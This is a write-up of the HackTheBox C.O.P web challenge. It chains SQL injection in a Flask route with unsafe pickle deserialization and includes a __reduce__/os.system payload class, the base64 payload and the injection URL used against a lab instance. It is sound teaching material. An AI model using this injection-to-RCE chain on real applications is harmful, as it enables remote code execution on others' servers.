Post

C.O.P - Web challenge - HackTheBox

INTRODUCTION

C.O.P is an apparently easy web-based challenge created by InfoSecJack.

It involves exploitation of SQL injection followed by insecure deserialization.

Apart from the running instance, the source code of the web application is given.

GOING THROUGH SOURCE CODE

The entrypoint to the application is at challenge/run.py.

1
2
3
4
5
6
7
from application.app import app
from application.database import migrate_db

with app.app_context():
    migrate_db()

app.run(host='0.0.0.0', port=1337, debug=False, use_evalex=False)

It gives reference to the main Flask application script at challenge/application/app.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask, g
from application.blueprints.routes import web
import pickle, base64

app = Flask(__name__)
app.config.from_object('application.config.Config')

app.register_blueprint(web, url_prefix='/')

@app.template_filter('pickle')
def pickle_loads(s):
	return pickle.loads(base64.b64decode(s))

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None: db.close() 

There are 2 things worth noting here:

  • The routes for this Flask application can be found at challenge/application/blueprints/routes.py.
  • The pickle module is being used in a template filter called ‘pickle’ to deserialize some data here which might be vulnerable to insecure deserialization if that data can be controlled by us.
1
2
3
4
5
6
7
8
9
10
11
12
from flask import Blueprint, render_template
from application.models import shop

web = Blueprint('web', __name__)

@web.route('/')
def index():
    return render_template('index.html', products=shop.all_products()) 

@web.route('/view/<product_id>')
def product_details(product_id):
    return render_template('item.html', product=shop.select_by_id(product_id))

There are 2 routes here.

The / route simply renders the index.html. Also, the template expects a Jinja variable products whose values are fetched from the database.

Similarly, the /view/<product_id> renders item.html, and also expects another Jinja variable product whose value again is fetched from the database.

Apart from these, there is also a database model having shop table.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
SNIP
.
.
<div class="container px-4 px-lg-5 my-5">
    <div class="row gx-4 gx-lg-5 align-items-center">
    { % set item = product | pickle % }
    <div class="col-md-6"><img class="card-img-top mb-5 mb-md-0" src="{ { item.image } }" alt="..." /></div>
        <div class="col-md-6">
            <h1 class="display-5 fw-bolder">{ { item.name } }</h1>
            <div class="fs-5 mb-5">
                <span>£{ { item.price } }</span>
            </div>
            <p class="lead">{ { item.description } }</p>
        </div>
    </div>
</div>
.
.
SNIP

The pickle template filter that is found earlier is being used in the item.html template.

The value of product Jinja variable is deserialized using pickle before it is used in the template.

This narrows down to the fact that if we can control product variable, we might be able to exploit insecure deserialization in pickle module.

The definition for the database model is at challenge/application/models.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
from application.database import query_db

class shop(object):

    @staticmethod
    def select_by_id(product_id):
        return query_db(f"SELECT data FROM products WHERE id='{product_id}'", one=True)

    @staticmethod
    def all_products():
        return query_db('SELECT * FROM products')     

There are few things worth noting here:

  • The function query_db() defined in challenges/application/database.py takes a query as parameter and runs it on the database.
  • There is no sanitation being done on the product_id value in query parameter of query_db() in select_by_id() method.
  • And if we go back, we can see that the product_id is referenced from the /view/<product_id> route, which is totally in control of us.
  • So there is a SQL injection vulnerability.

CONNECTING PIECES TOGETHER

We can control product_id from the route /view/<product_id> through the SQL injection.

This means we also have control over product jinja variable in the template item.html.

The above 2 facts lead to the conclusion that we can exploit an insecure deserialization in the pickle module through the product_id parameter in /view/<product_id> route.

A WEIRD THING

The definition of query_db() is below:

1
2
3
4
5
6
7
8
9
def query_db(query, args=(), one=False):
    with app.app.app_context():
        cur = get_db().execute(query, args)
        rv = [dict((cur.description[idx][0], value) \
            for idx, value in enumerate(row)) for row in cur.fetchall()]
        print(rv)
        return (next(iter(rv[0].values())) if rv else None) if one else rv

There is a second parameter apart from the query which is named one and set to False by default.

This parameter basically decides if the function should return a single output row or all of the rows based on the value of one parameter.

It returns only the first row if the value of one is True.

And unfortunately the value of one is set to True in query_db() function of select_by_id() method.

That means if we try to inject our payload using the UNION sql injection method, it is supposed to not get deserialized since select_by_id() method will return the first output row from the query, which is a valid one.

Obviously, another way can be like exploiting a SQL stacked query to INSERT/UPDATE a new record containing malicious payload. But the sqlite3 module in python does not support executing multiple queries using a single execute() method. So this is out-of-question.

But let us do not get drowned by assumptions and see things for practical.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(n3hal㉿Universe7)-[~]
└─$ docker run -it cop:latest sh
/app # python run.py 
 * Serving Flask app 'application.app'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:1337
 * Running on http://172.17.0.2:1337
Press CTRL+C to quit
^C/app #

I have popped an interactive sh shell on docker image.

I also ran the entrypoint script, as this will do all the migration stuff and create the schema in the database.

1
2
3
4
5
6
7
8
9
10
11
12
13
app # python
Python 3.8.16 (default, Dec  8 2022, 03:43:16) 
[GCC 12.2.1 20220924] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 
>>> import sqlite3
>>> con = sqlite3.connect('cop.db')
>>> 
>>> con.execute("SELECT 'I am first' UNION SELECT 'I am last'").fetchall()
[('I am first',), ('I am last',)]
>>> 

As expected, the string before the UNION comes first, and the string after UNION comes last.

Now see the MAGIC!!

1
2
3
4
5
>>> con.execute("SELECT data FROM products WHERE id = '1' UNION SELECT 'I am supposed to come last, what the heck!!'").fetchall()
[('I am supposed to come last, what the heck!!',), ('gASVoAAAAAAAAACMFGFwcGxpY2F0aW9uLmRhdGFiYXNllIwESXRlbZSTlCmBlH2UKIwEbmFtZZSMDFBpY2tsZSBTaGlydJSMC2Rlc2NyaXB0aW9ulIwZR2V0IG91ciBuZXcgcGlja2xlIHNoaXJ0IZSMBWltYWdllIwfL3N0YXRpYy9pbWFnZXMvcGlja2xlX3NoaXJ0LmpwZ5SMBXByaWNllIwCMjOUdWIu',)]
>>> 

When we used a query on the products table with WHERE clause, the string after UNION comes first in the output and the output of the original query before the UNION comes at last.

This behaviour can be used to our advantage. We can use UNION in the SQL injection to inject our deserialization payload, and by this behaviour the injected payload will be deserialized and we might get code execution.

CRAFTING DESERIALIZATION PAYLOAD

I do not intend to spend much time in explaining deserialization in pickle.

You can refer to this guide for specifics about the topic.

Let me give you an overview: while deserializing a pickled python class, if there is a __reduce__ method defined in the class, it is supposed to return a function along with a tuple of arguments. Finally, the returned function is called, with the arguments in the returned tuple. This essentially gives us the potential to achieve code execution.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pickle
import base64
import os


class RCE:
    def __reduce__(self):
        cmd = ('cp /app/flag.txt /app/application/static/flag.txt')
        return os.system, (cmd,)


if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled))

We have created a RCE class having defined a __reduce__() method that returns the function os.system and a tuple having a bash command as a value. Then we serialize and base64 the output.

When the output is deserialized, the /app/flag.txt is copied to /app/application/static/flag.txt which is the static directory of Flask and is publicly accessible.

The reason I cp‘ed it and not cat‘ed because it is a blind injection and we can not see the output of cat.

1
2
3
4
5
┌──(n3hal㉿Universe7)-[~/…/challenges/web/c.o.p/exploit]
└─$ python exploit.py 
b'gASVTAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDFjcCAvYXBwL2ZsYWcudHh0IC9hcHAvYXBwbGljYXRpb24vc3RhdGljL2ZsYWcudHh0lIWUUpQu'

We have crafted the deserialization payload.

CRAFTING SQL INJECTION PAYLOAD

The injection point is the product_id in the /view/<product_id> route.

If the id of the product is 1, the full URL will be http://[IP]:[PORT]/view/1.

We want to use UNION to inject the deserialized payload. The final payload will be:

1
2
3
http://[IP]:[PORT]/view/1' UNION SELECT 'gASVTAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDFjcCAvYXBwL2ZsYWcudHh0IC9hcHAvYXBwbGljYXRpb24vc3RhdGljL2ZsYWcudHh0lIWUUpQu';--

After we make the HTTP request to the payload URL, we just need to check for flag.txt in /static route.

1
2
3
4
5
┌──(n3hal㉿Universe7)-[~/…/challenges/web/c.o.p/exploit]
└─$ curl 'http://172.17.0.2:1337/static/flag.txt'                                                                                                                                     
HTB{f4k3_fl4gs_f0r_t3st1ng}

We can see that our payload worked. Try the same thing on the running instance to get the real flag.

This is all I have in this challenge.

Thanks for reading this far :) Hope you liked it.

This post is licensed under CC BY 4.0 by the author.